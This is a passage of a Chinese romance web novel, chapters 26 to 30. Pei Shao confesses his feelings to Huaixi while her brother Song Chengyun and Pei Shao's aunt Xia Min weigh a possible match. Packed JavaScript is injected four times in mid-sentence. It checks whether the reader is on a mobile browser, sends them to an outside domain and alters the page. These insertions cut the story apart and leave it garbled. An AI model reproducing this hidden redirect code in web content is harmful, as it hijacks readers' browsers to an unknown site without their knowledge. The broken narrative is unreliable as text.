是问,裴劭若做她的夫君,怎么样? 怎么样?怀夕没有想过。 不止是没想到裴劭当她的夫君,而是从来没有想过她可能会与另外一个人一起生活。 离开哥哥,与别人生活...... 怀夕脑海里一阵空白,只是想一想,心情都是闷闷的。 于是,她撅了撅嘴,回道:“不怎么样。” 丁心兰有些惊讶怀夕的回答,在她看来,裴世子实在是难得一遇的好人选。 裴劭外貌家世顶尖,又未曾婚配,说句不好听的,家中无公婆,对新妇更是难言的好处,一嫁过去便是掌中馈的世家妇。 所以,裴劭自然成为京里许多贵妇人钟情的女婿人选。丁心兰这几月参加一些宴会,多多少少也听闻裴世子的许多事,尤其是房内事。 总而言之,这裴世子哪里都好,最重要的是,房里干净得很。 不过转念一想,裴世子是当红的热饽饽,如今有这么多人盯着,将来就算成婚也难免会有有心人惦记着。 连她家乡,那小小的苏宁三妻四妾的人不在少数,更别说是这金陵城了。 丁心兰心里一通分析,顿时觉得裴劭也不是样样都好了。 太过完美,也不是一件好事。 不过说起当红的热饽饽,丁心兰不免想起怀夕的哥哥宋承云。 虽没有裴劭的家世,但裴劭有的其他东西,宋承云只比他更甚。 满腹经纶,才华横溢。 芝兰玉树,熠熠白雪。 只是那些贵妇人挑婿的眼光向来挑剔,说宋状元什么都有,就是清冷过了头。 风光霁月自然高洁,可若过日子的人如无法堪折的雪岭之花......这些贵妇人身在闺中,都知道婚后受丈夫冷遇是多煎熬的事。 不过也有夫人下场辟谣,说宋状元对家中妹妹甚是可亲,将来对妻子定然更贴心。男子在外面不近女色可不是什么坏事,只是回家能对夫人温柔笑意...... 于是,各夫人又开始蠢蠢欲动,又想将宝压到这位状元郎身上。 “不说裴劭了。”丁心兰说道,“倒是你哥哥,如今可是多家女儿的如意郎君人选。” 宋承云比怀夕大上三岁,如今也十五有三了。 怀夕恩了一声,她也知道。 “哥哥这般好,喜欢她的女子多不足为奇。”怀夕撑着下颌懒懒说道,“只能说她们眼光好。” 丁心兰噗嗤笑了出来,却无法反驳。 日光姣好,眼前少女的眼珠剔透如秋池,丁心兰点了点怀夕的鼻子,意有所指道:“夕儿妹妹这般乖巧可人,喜欢你的人也真是有眼光。” “总之,你放心吧,你哥哥这般疼你,将来定会替你选一个可心的如意郎君的。” 怀夕没听出她的话中意,只是俏皮地伸手欲捂上她的嘴,两人笑着闹成一团。 - 待娇娇醒后,丁心兰便携着女儿家去。临走前,她嘱咐怀夕近日莫去找她,又说到时离京前就不来同她告别,待她到了苏宁,再写信给她。 怀夕见丁心兰下定决心,也没有多挽留,只殷殷嘱咐她一定要=来信。 可能是说了一下午的话,到了晚膳时分,怀夕罕见地十分沉默,吃得也比往日少许多。 宋承云以为是天气炎热的缘故,也没有多说什么。 饭后,屋外余晖依旧,兄妹二人照例在游廊里散步。 宋承云走在前面,夕阳余光肆意蓬勃,他的身影笼在金光下。 怀夕跟在后面,低着头踩着前面人的影子。一步一步,从头顶踩到心上。 踩到心上,就前进不得了。 前面的人转过身来,而怀夕没止住脚步,直直撞上刚刚踩中的位置。 宋承云双手扶住她的肩,稳住心不在焉的她。 此时难得凉风习习,怀夕却如同园子里蔫蔫的几株月季,提不起精神。 饶是再迟钝,宋承云也发现她不对劲。他稍微想了一下,见杨铭的夫人前还无异样,那就只能是与杨夫人相关了。 “怎么了?”他低头问她。 “圆圆姐姐要走了。”虽然没有挽留,但怀夕心里其实还是很舍不得她们母女的。 宋承云不知道前因后果,下意识问道:“去哪?” “回她自己家啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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怀夕低着头犹豫了下,而后才仰起头看他,“哥哥,你会娶亲吗?” 宋承云的目光落在怀夕嘴角浅浅的梨涡上,手上的温热仿佛变得有些灼人。 妹妹时时都有很多想法,她问什么,宋承云都没有觉得很意外,让他意外的是,在妹妹清透的眼神下,他脱口而出的发问。 “你想让我娶亲吗?” 话音刚落,他其实已经觉得这话说得不妥,他知道妹妹大约是听了杨夫人的事情,所以临时起了心思问他。 并没有什么别的深意。 他想再说些什么,可眼前的人儿在听到他的问题后将头缓缓垂下,宋承云看见她抿着唇。他知道,这是她的习惯,她认真思考问题时常常有这样的动作。 “想。”像是强调一般,怀夕重重地点点头,“只要哥哥喜欢。” 说完后,她松开紧抓在手里的半截衣袖, 全然的真心,所以连笑意也带着真诚与笃定。 昏暗中,宋承云从她清透干净的眼眸里看到小小的自己,他默然一瞬,再看她时,声线仍如往常清冽。 他说:“好。” 27. 第 27 章 王太师府。 大暑天,午后天气闷热地连一丝风都没有,裴劭踏入夏敏院里头时,看到满院子晒着伏姜。 夏敏身边的马嬷嬷从屋内推开门,看见裴劭,惊喜地回头让小丫鬟进去通报。 裴劭对着马嬷嬷点头轻笑,提腿甫一进门,就听到夏敏的声音,“这日头,天天在外面风吹日晒,有甚好的?按我说,还是留在京里待职,何必要跑去西北。” 夏敏是故意说给裴劭听的,声音透着清亮,从内室清楚地传出来。 裴劭听到这话时,脚步略顿了顿,然后毫无犹豫迈进堂屋,含笑给夏敏行礼:“姨母万安。” 夏敏坐在上位,脸色淡淡的,瞪了裴劭一眼,“说好今日过来陪我用膳的,怎么半道又说不来?” 夏敏的责怪,裴劭并不以为意,落坐到右侧的椅子,笑道:“宫里来了旨意,只好爽了姨母的约。” 夏敏叹了口气,看来这事板上钉钉了。 夏敏是将门之女,性格最是果敢坚毅,她常恨自己不是男儿,不能驰骋沙场,她几个儿女,又都承了夫家的传统,走的都是文人路线,她难免不遗憾。 唯有她从小带到大,捧在手心里的侄子,她不愿意他走武将这条路,偏偏又拦不了。 姐姐在世上仅剩的血脉,她自来含在嘴里都怕融化。而战场那般凶险,叫她如何不担心? 如今侄子不听劝,上面又来了旨意,她已经没有办法阻止他了。 夏敏拉过裴劭的手,语重心长地说道:“劭儿,姨母多次阻拦你,你该明白原因的。” 裴劭垂下眼,点头。 他当然明白。 可雏鹰终究要翱翔九空的,他不可能永远活在姨母的庇佑之下。 从前的他或许不知道自己想要什么,可几个月的西北之行,他踏上父亲当年征战的地方,戈壁坚硬,黄沙漫漫,他似乎明白父亲一辈子坚守的是什么。 他相信,他的父亲即便身殒沙场,也定然无悔。 而他,要做和父亲一样顶天立地的男儿。 父亲拼死守护的那块土地,未来,他也会用尽全力去守护,让那方土地和百姓重新得到安宁与繁兴。 裴劭看着夏敏担忧的模样,回握住她的手,“姨母,劭儿已经长大了,会好好照顾自己的,姨母好好保重身子,等劭儿回来就是了......” 经他这一提醒,夏敏又想起一件更重要的事:她的大女儿王郁雾出嫁的日子就在中秋前几日,而裴劭过完中秋便要启程去西北。 虽说西北近年来还算太平,可未来谁说得准,他这一去,又不知会在那里呆多久, 侄子与大女儿同岁,如今女儿出嫁在即,这个侄子的婚事却一点着落也没有。 若是说她不尽心,那可真是冤枉她。 京里哪家的女儿她叫不上号来?日日拿着画像,举办花会、马球会,就是为了给侄子挑着好的姑娘。 可每次哄着裴劭去相看,他次次推脱,倒让她在好几个夫人面前失了信。 她两个亲儿子她都不曾费过什么心思,唯有裴劭,越看重越操心。 夏敏打断裴劭的话,神情不复刚刚那般伤感,冷下脸来,“既然你执意要走,至少走之前给我把婚事定下来。” “......” 距离他离京已不到两月,如何能把婚事定下来。裴劭对夏敏这个姨母真是无计可施,此刻只想扶额逃走。 可夏敏好不容易拘住他,哪里肯轻易让他走,当下就喊了马嬷嬷进来。 “嬷嬷,快去把我收着的那些画像拿来给小世子看看。” 马嬷嬷立刻领命前去。 不到一刻钟,十几幅画像就铺放在裴劭面前。 夏敏一个挨一个拉着裴劭细看,她指着她多番比较下最为满意的一个女子画像,“这是太傅家的小女儿,今年刚满十五,上次我寿辰,你应是见过她的,外貌就不用说了,她母亲是你外祖家姨婆的亲孙女......” 裴劭一路无言,只是无奈地叹了口气,几次想走都被夏敏拉回。 夏敏则无视他的唉声叹气,将他拉到另一幅画像前面,继续介绍道:“这是翰林院林学士家的,姨母亲自见过,长得比这画还美上几分,你若喜欢......” 裴劭终于忍不住,打断夏敏,“姨母,这些我都不喜欢。” 夏敏有些怔愣住 ——因为裴劭的拒绝。 因为这样明确拒绝一个姑娘的话,裴劭从来不说。 夏敏听完却并不恼怒,反而敏锐地察觉到几分异常。 裴劭毕竟是他带大的,他的性子她多少有几分了解。从前想替他相看,他总是可有可无的态度,不接受也不当面拒绝。 这次是他第一次明确表示他的态度。 毕竟还不能确定,夏敏半试探地问道:“那你是有另外喜欢的姑娘?” 裴劭心惊姨母如此敏锐,干干咳了一声,“那倒没有。” 没想到炸出他这样的反应,夏敏更是确信,斩钉截铁说道:“你有。” 裴劭心事一下被言中,在姨母面前又说不了谎,于是又是无奈又是羞恼,只转过头不说话。 郎君耳尖以肉眼可见的速度红了起来,夏敏却越看越是欣喜,拉着裴劭的手循循诱哄着:“是哪家的姑娘?” “你若不说,姨母就不能替你掌眼,两月后你就去了西北,姑娘若在此时嫁了旁人......” 听到这话,裴劭立马抬头。 才刚及笄,没那么快订亲吧...... 可万一...... 裴劭看着夏敏,有些不可置信的迷茫和难言的慌张。 夏敏见她的话起了些效用,赶紧趁热打铁:“好姑娘是不愁嫁的,难道你真想看着你心仪的姑娘嫁给旁人?” 在夏敏恐吓般的诱导下,裴劭天人交际,最后,怕将来姨母的话真应验,裴劭没憋住,支支吾吾地吐出一个名字, “怀夕。” “谁?”夏敏有些没听清。 裴劭侧过头,豁出去了,“是怀夕,姨母的干女儿怀夕。” 怀夕? 夏敏一下子愣住了。 她挑遍了全京城的女子,唯独没想到怀夕。 当然不是瞧不上她,相反,她是十分喜欢怀夕的,不然也不会认她作干女儿。 也正是将她视作女儿,裴劭结亲的人选她才没有想到她身上....... 怀夕?怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024849|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕! 夏敏很难形容当下的心情,人选是怀夕,她头脑晕乎了。 宋家兄妹的婚事,她其实都有放在心里。宋承云就不用说了,虽看着温和谦逊,可她也知道,那股对众人相同的温和何尝不是另一种冷淡,叫人望而却步。 况且,她的公父将这个学生当作眼珠子一般,恐怕他的婚事也轮不到自己操心。 而怀夕就不同了。 宋承云自己都还未娶妻,哪里能顾得上妹妹的婚事。怀夕既做了她的养女,那她的婚事她就更要慎重对待了。 裴劭在她看来当然是千般好万般对的,可让怀夕跟着他去西北,她心疼怀夕,不跟着去西北,她心疼裴劭...... 这样想来,一时竟没了主意。 心里不停盘算时,脸上不自觉就严肃许多,也不说话。 裴劭未料到姨母听完是这种反应。 虽作为男子,可同长辈讨论自己心仪的女子,他还是有些说不上来的羞赧。 但说都说了,裴劭咬咬牙忍着脸热想开口...... 夏敏在心里也大致盘算完了,说到底,她想再多,也没用,重点要人姑娘也喜欢才行。 京中其他人家的闺女,说亲时讲究的是门第家世首先要般配。 但她知道,怀夕不同。 她与她哥哥兄妹二人相依为命,情分不同旁人......不知怎的,她就是很确信,若是怀夕不喜欢,无论旁人如何说,无论她的亲事对宋承云有多助力,宋承云都不会轻易将妹妹嫁出去的。 那现在问题就很清晰了。 到底是侄子单相思?还是两个小儿女暗中相互萌生了情愫? 夏敏从不是遮掩的性格,想通了便直接问道:“你喜欢怀夕,她知道吗?” 裴劭想了想,摇头。 夏敏又问:“那她喜欢你吗?” 虽然不愿意承认,不过他想,应当是不喜欢。 裴劭脸上尽是微红的窘迫,还是摇了摇头,心里跟扎了刺一般。 可转瞬又想,至少也不讨厌他吧...... 这样想,心头又如同塞了一团棉花,心潮涨得即将溢出一般...... 裴劭实在长了一副好相貌,双眉如刀裁般英挺,面如美玉,眉宇间是少年人独有的英气勃勃,怎么看都是一副让人心动不已的俊朗面容。 夏敏扫过侄子捏紧的拳头,看着那向来笃定的眼神时因她随口的问题而现出不安的神采,又觉得心疼又觉得好笑, 这才什么时候,八字还没一撇就开始患得患失...... 不舍侄子如此纠结,夏敏挥了挥袖,“算了,待我找机会探探人家姑娘的心意再说。” 裴劭听完,眸里不掩欣喜,“侄子多谢姨母...” “先别道谢。”夏敏打断他,“若是怀夕不喜欢,姨母也没有办法......” “你如今要常驻西北,天高路远又惊险,人家姑娘也不知道会不会嫌弃......” 夏敏也只是牢骚着,却听到裴劭笃定地说道:“她不会的。” 裴劭就是确定,怀夕是能理解他的人。 他唯一担心的,是怀夕不喜欢且不愿喜欢他...... 28. 第 28 章 知道裴劭的心思后,夏敏反倒不着急了。询问怀夕的心意前,她还需得先找她哥哥宋承云。 长兄如父,她不能绕过他,乱为人家做主。 不过她毕竟是内眷,如今宋承云有了官身,寻常日子也很难找上什么借口去见人家,只好托丈夫王楚修去探探宋承云的口风。 儿女都是债,王楚修已经习惯自家夫人说话做事说风就是雨的作风,也甘愿当传话筒。 当然,最后带回来给夏敏的结果与她料想的无异,宋承云果然也是同样的意思,只要怀夕喜欢。 毕竟是男子,说的又是女儿家的事,王楚修找上宋承云的时候颇难开口。没曾想,待他艰难说完,宋承云却是意料外的十分淡定。 仿佛早有预料一般,他脱口而出:只要她喜欢。 就像是这个答案已经在他心底深思熟虑过多遍,所以根本无需再思索。 虽然很干脆,但越是干脆,越显得有些......王楚修很难描述那种感觉,只觉得自己在官场久了,以至于家事上都习惯性疑心疑鬼。 有了宋承云的首肯,夏敏办事更是大开大合起来。 第二日,她便给怀夕下了请柬,说是在清点王郁雾的嫁妆,让她也过来凑凑热闹。 王郁雾婚期将近,夏敏反而闲了下来。该准备的都已准备好,接下来一家人也只能好好珍惜大女儿还在闺中的日子。 怀夕到了王府,马嬷嬷已经亲自到府门外等着她,见到她,欢欢喜喜将她带到王郁雾的院里。 院子到屋内,放满了红木箱子。 马嬷嬷在门外通报了一声,替怀夕打开了门,请怀夕自己进去。 怀夕多次来过王郁雾屋里,倒也不拘束,进门后看外屋无人,便掀开珠帘,进到内屋里头去。 王郁雾正坐在绣墩上,手上捧着一个精致的葵瓣彩锦盒,仔细地听着夏敏的嘱咐。 见怀夕进来,夏敏朝她伸了伸手,话却未停:“总之,将来若是受了委屈,千万不要忍着,王家永远是你的后盾。” 这些话夏敏翻来覆去已经讲了许多遍,王郁雾从最初的泪眼涟涟到如今,已经能很淡定地拿着手帕给母亲拭泪。 怀夕来了,夏敏也不好再哭了。 王郁雾让怀夕坐在她身旁,捧了一匣子象生花给她瞧,温温柔柔地问道:“喜欢吗?” 怀夕瞧了一眼,点点头,做工真是好,花瓣娇艳如同真的一样,她夸赞道:“真好看。” 王郁雾轻笑,把匣子放到她手上。 夏敏接过话来,“这是沈家送来的,一共有两匣,你郁雾姐姐疼你们,说是你和郁心一人一匣戴着玩。” 怀夕也不推辞,接过匣子,“谢谢干娘和姐姐惦记,夕儿很喜欢。” 夏敏看怀夕这么乖巧懂事,笑着抚了抚她脸颊,怀夕顺势在她掌心上蹭了蹭,惹得夏敏笑的更开心。 只是看到桌上另一匣子象生花,又忍不住冷下脸,嗤道:“叫人请你妹妹过来,怎么怀夕到了她还没到,越来越不像话了。” “嬷嬷。”夏敏就要喊人去催她,却被王郁雾按住手。 知道母亲还有话同怀夕说,王郁雾怕人多姑娘害羞,便说道:“我去叫她吧,左右也不远。” 看到女儿眼神里的示意,夏敏这才反应过来自己还有更重要的事要做。 哎,这小女儿真是她天生的冤家,性子最像她,所以最难管,真是来克她的。 怀夕本想与王郁雾同去,却被夏敏拦住,说是让她留下来陪她吃盏茶先。 - 茶具都是现成的,茶炉咕噜咕噜冒着气泡后,怀夕稍稍提起袖子,拎起茶壶,微压手腕。 手柱浇落,青茶在水里翻滚似游鱼,茶香瞬间升腾而起。 一套动作行云流水,夏敏接过茶杯,轻抿了一口,满意地点点头。 既是为这茶香,也是为怀夕的技艺。 怀夕这套煮茶功夫,便是夏敏亲自教授的。 夏敏设的女学堂里,若论学问,最好的当属大女儿王郁雾;若论技艺,首辅家的三姑娘沈玉瑶最为精通,琴棋书画无一不通;可若论灵性,夏敏觉得怀夕当仁不让。 可能是心思纯净,怀夕悟性极高。学什么东西都只需轻轻点拨,一点即透,有时还常常给你惊喜。 就像这门煮茶功夫,一套流程看似普通,可她煮出来的茶,就是比别人香澈。仿佛茶叶在她的手下能舒展得更开,因此茶香更浓。 品茶的间隙,夏敏的目光流连在怀夕俏生生的小脸上,只看了一小会便在心里暗道:果然,侄子的眼光,同她一般好。 放下茶杯,夏敏拈起碟子里一枚五彩酥,递给怀夕。而后,自己又拈起一枚,状似无意地说道:“你郁雾姐姐的婚事近在眼前,想到你与郁心那混不吝不日也要出嫁,干娘心里总是空落落的。” 怀夕把嘴里的点心都吞下后,才笑着说道:“好在姐姐嫁的不算远,干娘想见她的时候就能见上。” ....... 额,是不远,其实也就是隔了一条街。 夏敏有些尴尬,把手里的点心又放下,目光闪动,“那若是以后你与郁心都远嫁......” 怀夕眨巴了下眼睛,“那我们都不远嫁不就好了。” “......” 夏敏觉得自己好像给自己挖了个坑,不由得在心里细想,嫁给裴劭算不算远嫁? 应该不算吧,裴劭的家终究还是在京城。 可嫁过去后夫妻新婚,总不好分离太久吧。新妇大概是要随裴劭北上的,那好像也同远嫁差不多...... 从这个角度切入不行,夏敏决定从另一个角度切入。 “夕儿有喜欢的人么?” 这么生硬直接地问,怀夕听到后,咽到一半的水差点喷出来。 再迟钝,也知道夏敏话里有话了。 怀夕用帕子蘸了蘸嘴边的糕屑,而后看着有些不自然的夏敏,无奈笑道:“干娘有话直说吧。” 这么明显吗?夏敏又有些尴尬。 “也不是什么事,就是...”她咳了一声,试图重新树立她端重的形象,“就是想问问,你觉得我那侄子裴劭如何?” 怀夕皱了皱眉,感觉有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034854|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇怪,前阵子圆圆姐姐也问过她这样的问题。 她细想了一下,当时她回的应该是“不怎么样”。 但再是不懂事也知道不该在人家姨母面前说这样的话。 看着干娘不似玩笑的眼神,怀夕也只好认真斟酌起来,“裴世子年少有为,将来定有大好前程......” 怀夕边说,边观察夏敏的神色,见她蹙着眉,又说道:“裴世子英俊潇洒,是多少京城女郎的心上人...” 怀夕在脑海里搜罗着裴劭的信息,诚然,按她这几年在金陵城所见所闻,这个评价倒是实打实的没有夸张。 夏敏显然不愿意听怀夕说这样官方的话语,直接问道:“那是你的心上人么?” “......” 这下轮到怀夕沉默了。 王郁心果然是夏敏的克星,在她屏息等着怀夕的回答时,小姑娘乍乍呼呼推门跑了进来,将怀夕抱了个满怀。 有个未及笄的小姑娘在这里,这下还能怎么聊,夏敏看着小女儿不由分说将怀夕拉走,重重叹了口气。 - 王郁心拉着怀夕去她屋里,向她展示她新定做的一大型狗窝,怀夕听她讲得天花乱坠,目光一直在屋内逡巡。 狗呢? 实在没看到,一问才知道狗还没接回来。 原来,王郁心自上次在郊外马场看到几条威武的猎犬后,一直缠着夏敏说想养犬。夏敏不理她,她又去缠着她哥哥。 为了打发这个缠人的妹妹,王司岩无奈只能答应。正好友人最近家中下了一窝小犬,便答应过几天带王郁心去挑一只回来。 王郁心兴致来得快去得也快,很快又拉着怀夕说要去后院荷池采莲子。只是两人刚走到半路,便遇到裴劭。 连性子迟钝的王郁心,都察觉到裴劭近来出现在王府的次数比往常多了许多,一靠近,她不由得脱口而出,“表哥,你怎么又来了。” 说完后她又觉得这话说得不妥,正要向表哥解释她其实是很欢迎很乐意看见他来的,但准备解释时,却发现表哥的目光落到她旁边的怀夕姐姐身上。 王郁心将头伸到裴劭眼下,瞪着圆溜溜的眼睛问道:“表哥看什么呢?” ...... 裴劭淡定收回目光,将王郁心的头推开,作正经状,道:“你二哥哥刚刚提了一个篮子进来,你猜是什么?” 果然,王郁心的注意力马上被转移,追问道:“什么?” 存了别的心思,裴劭也不卖关子,“一条小黄犬。” “不是说好带我一起去挑选的吗,怎么就提回来了!”王郁心愤愤跺了下脚,转头对怀夕说道:“姐姐稍待我一会,我去看看,马上就回来。” 说完,人就跑了好几步远,怀夕被她逗得捂着嘴直发笑。 回廊外便是荷池,难得有阵阵微风。裴劭听着身边银铃般的笑声,不禁壮着胆子去看身侧的姑娘。 这样近的距离,连她眨眼间的每一根睫毛都清晰印在眼底。 她凝脂般的雪肤透着浅浅的绯色,像是随时起飞的蝶儿,在他心上扫过一下又一下。 29. 第 29 章 京都有很多样的女子,娇柔的,活泼的,妩媚的,知书达理的...... 可裴劭从没有见过像怀夕这般生动的女子。 不管是初见雪夜,还是如今盛夏河边,那双琉璃瞳孔永远那般明净。 在她面前,你不自觉地想丢掉所有的伪装,只想当一个简单的自己。 王郁心和怀夕出来的时候并没有带丫鬟,王郁心走后,荷池边上便只剩他们俩。 也不是没有单独呆过,可夏敏突如其来的发问到底还是让怀夕有些不自在起来。而裴劭也拿不准姨母有没有对怀夕说过什么...因此两人生硬地打了招呼后,便是一阵沉默...... “我...” “你...” 一阵沉默过后,两人同时开口,对视后又同时后退了一步。 “你...” “我...” 裴劭不自觉抓了抓头发,“你先说。” 纠结从来不是怀夕的性格,心头有什么疑问她便想立刻解决它。于是,她抬起头,直勾勾地盯着裴劭看,“听说你喜欢我?” 心上人这般直白,饶是裴劭也招架不住,脸上骤然升起一抹红,迅速蔓延至耳后。 可再紧张,裴劭仍分出一丝心神,关注着少女的神色。 想说些什么,又怕冒犯到她。 轻狂肆意的小将军在心上人面前也只不过是一个笨拙的少年郎。 怀夕见裴劭红着脸,好一会都不说话,这下是真的有些不自在起来,不禁在心思反思自己是不是想多了 为了缓解尴尬,她主动向前走了一步,拍了怕裴劭的手臂,干笑道:“哈哈,我开玩笑的,不喜欢就不喜欢,没什么不好意思说的。” 极致的心潮澎湃后,裴劭反而慢慢冷静下来,他平日看兵书,兵书上讲:夫战,勇气也。一鼓作气,再而衰,三而竭。 再迟钝,他也知道不能再错过这次机会,忙脱口而出道:“喜欢。” “啊?” 怀夕双眸瞪得溜圆,因是第一次听这样的话,不知道该作何反应。好一会,才下意识地点了点头,说:“哦,哦,好。” 裴劭紧盯着怀夕的神情,小心翼翼地问道:“那你喜欢我吗?” 怀夕双手搅着手里的帕子,虽迟钝了些,此时反应过来,双颊绯色便渐渐变深。 裴劭看着镇定,其实心里也是猛打着鼓,他很想走过去将怀夕低着的头抬起来,或摇摇她的肩膀,让她快些给个答案。 可心里万般想法,最后也只是鼓起勇气,追问道:“喜欢吗?” 喜欢吗?怀夕在心里问自己。 她羡慕他精湛的骑射手法,欣赏他自由奔放的性子,同情他不算很圆满的亲情。而且,他还是干娘一家爱重的亲人,她这人,向来爱屋及乌...... 所以,应该是喜欢裴劭的。 怀夕在裴劭灼热的目光下点了点头。 看到怀夕的肯定,裴劭抑制不住内心的喜悦,连手指都有些发抖。 可他之后,问出了他将来无数次后悔的问题,后来无数次在梦里想阻止这次刨根究底的确认。 可此刻的裴劭不知,他只是想确认心上人对自己的心意。 “你可明白,我说的喜欢,不是你喜欢姨母,喜欢郁心,喜欢你的圆圆姐姐,喜欢娇娇的那种喜欢。”他循循善诱道,“是女子对男子的那种喜欢?” 澄澈的眼眸里倒映着另一双灼热的眼眸,怀夕如同好学的学生,在裴劭的引导下认真思考起来,而后,摇了摇头。 明明是自己要追问的,裴劭还是没忍住黯下眼眸。 想说些什么,可一开口,喉咙却像哑住一般。 怀夕身上最吸引人的,便是她的纯净无邪,也是她的天真坦率。 日落西斜,透过屋檐泄落怀夕半身,莹白肌肤在日光下恍若透明,浅淡的瞳色点缀在姣好的五官上,让她恍若误闯人间的仙子。 顺着裴劭的思路,怀夕还是不太明白,他说的这两种喜欢,有什么差别。 她抬眼看裴劭,“不知道。” 裴劭不知道该如此形容自己忽上忽下、跌宕起伏的心情,此刻一句“不知道”重新将他的心情拉上云端。 正是因为他了解怀夕,所以看出小姑娘此刻的懵懂和坦率。 没关系,总归不讨厌,他会想办法让她喜欢上他的。如他所说的,是女子对男子的那种喜欢,是他对她的那种喜欢。 - 回到家才申时,宋承云还没有回来。怀夕带着小艾直奔自己屋里,待躺到柔软的床上,仍没有缓过神来。 回想着自认识裴劭以来的场景...... 其实也没什么特别的。 裴劭去西北前,两人多是在王府或书院见到,平日也没讲过几句话,他怎么会喜欢她呢? 怀夕与男子相处的经历并不多,她身边唯一算得上男子的,便是哥哥和松毫,松毫就不用说了,待在哥哥身边久了,做事一板一眼的,向来一句多的话都不说。 哥哥呢,自然什么都是好的,可他是哥哥,没有谁能拿来同他比较。 小艾将给怀夕擦过手的毛巾连同水盆一起端给门外的琥珀,再回屋时,看着怀夕直盯着床头的帷幔一动不动,她走上前,问道,“姑娘,你怎么了?” 小艾觉得她有些不对劲,走近看她脸上还有些红晕,怕中暑,手背过去探她额头。 怀夕把她手拍走,“我没事。” 小艾与怀夕一同长大,虽是主仆,可情同姐妹,怀夕许多心里话都会同小艾讲,她顺势将小艾拉坐在床边。 “小艾,若是有人同你说心悦你,你该怎么办?”怀夕把身子翻转过来,双手撑在下颌上,抬眸看小艾。 小艾想了一下,“那要看我喜不喜欢他。” 怀夕追问:“喜欢就怎么样?不喜欢就怎么样?” “喜欢那就是两情相悦,那可好,下一步就可以谈婚论嫁了。若是不喜欢呢...”小艾敛起脸上的笑,“不喜欢也简单,直接同他说自己心有所属,别给人家留希望,挡了人家将来的姻缘。” “......” 怀夕思考了一会,觉得小艾说的,很有道理。 那自己岂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小艾瞬时觉得自己责任重大,要帮姑娘理一理她的情感。 “那,裴世子同你说那些话,你听完后会不高兴吗?” 怀夕摇头。 “那有那种心跳不止的喜悦吗?就像喝姑娘平日爱喝的酸梅酒那样,又甜又涩的?” 仔细体会,其实有种很新奇的感觉。 ——是有点欣喜,有点得意,可也不至于心跳不止。 怀夕继续摇头。 这也不是,那也不是,小艾也没法子了,只好按她已有的人生经历来分析。 “我看姑娘对世子从未有过那方面的想法,所以一时也搞不清楚自己到底喜不喜欢。不过,既然姑娘说不讨厌,那可能多少有些好感吧。” 怀夕今日可真是对小艾刮目相看,没想到小艾与她同岁,却比她懂得多了多。 小艾很好奇另一个问题,“那姑娘说完不知道,裴世子是什么反应?” 30. 第 30 章 小艾猜想,裴世子平日那般肆意洒脱,应该不是那种会恼羞成怒的人......不过,表明心意后得到姑娘这种含糊的说辞,一般人也高兴不到哪里去吧...... “他说没关系啊。” 怀夕不由得想起裴劭说这话时的神情和语气,她说不知道后,裴劭似乎也愣了愣,不过,很快就微拱了拱背,低头来寻她的眼睛。 “没关系的。”裴劭追着小姑娘有些闪躲的眼神,眸里满溢着笑意,想伸手安抚她,又怕吓到她,只好微微加重了语气,“不知道也没关系的,只要你不讨厌就好了。” 未来还有很多时间,他还可以做很多很多事,让小姑娘慢慢明白和接受他的心意。 他压着声线,嗓音低沉沉的,尾音带着柔软的气音。 而因他低着头,那声音尽数钻进耳朵里,怀夕不自在地往后仰了仰身子...... 最后,没控制住,小姑娘踉跄了一下,裴劭也终于有机会伸手抓住那截肖想已久的莹白手腕...... - 离王郁雾出嫁还有一个半月,怀夕还没想好自己要送什么贺礼,想了好几日,决定投其所好,绣一幅屏风送给她。 既然是投其所好,自然不能是普通的屏风,怀夕想在屏面上绣上王郁雾喜欢的字画。 既要绣字画,那首先就要先把字画之形临摹出来。 怀夕的字是宋承云手把手教的,写的颇有宋承云字的几分神采。 王郁雾夸过她的字,笔划刚劲又有柔美之感。 可怀夕铺着纸写了一个下午,仍然写不出满意的字迹。 绣在屏面上的字形与平日写字的字形还是要有些变换的,怀夕不习惯在纸上大字挥毫,越是刻意,写出来的字越是不连贯,尝试了半天,终于还是放下手上的笔。 “小艾,别磨墨了,等哥哥下值回来再说吧。” 小艾在一旁应是。 怀夕又道:“你让翡翠和琥珀将我收起来的那些丝线拿出来,我看看花色够不够用,不够的话你再找人去于公子那里捎个话,让他给我留些上好的丝线。” 于子恒的苏绣铺子在金陵城算是打响了名号,生意日日红火,不过自丁心兰回苏宁后,怀夕也很少光顾。 不过于子恒还是常常叫人送些当下卖得红火的料子给怀夕,礼尚往来,怀夕有时也把闲时画的一些样式送给他。 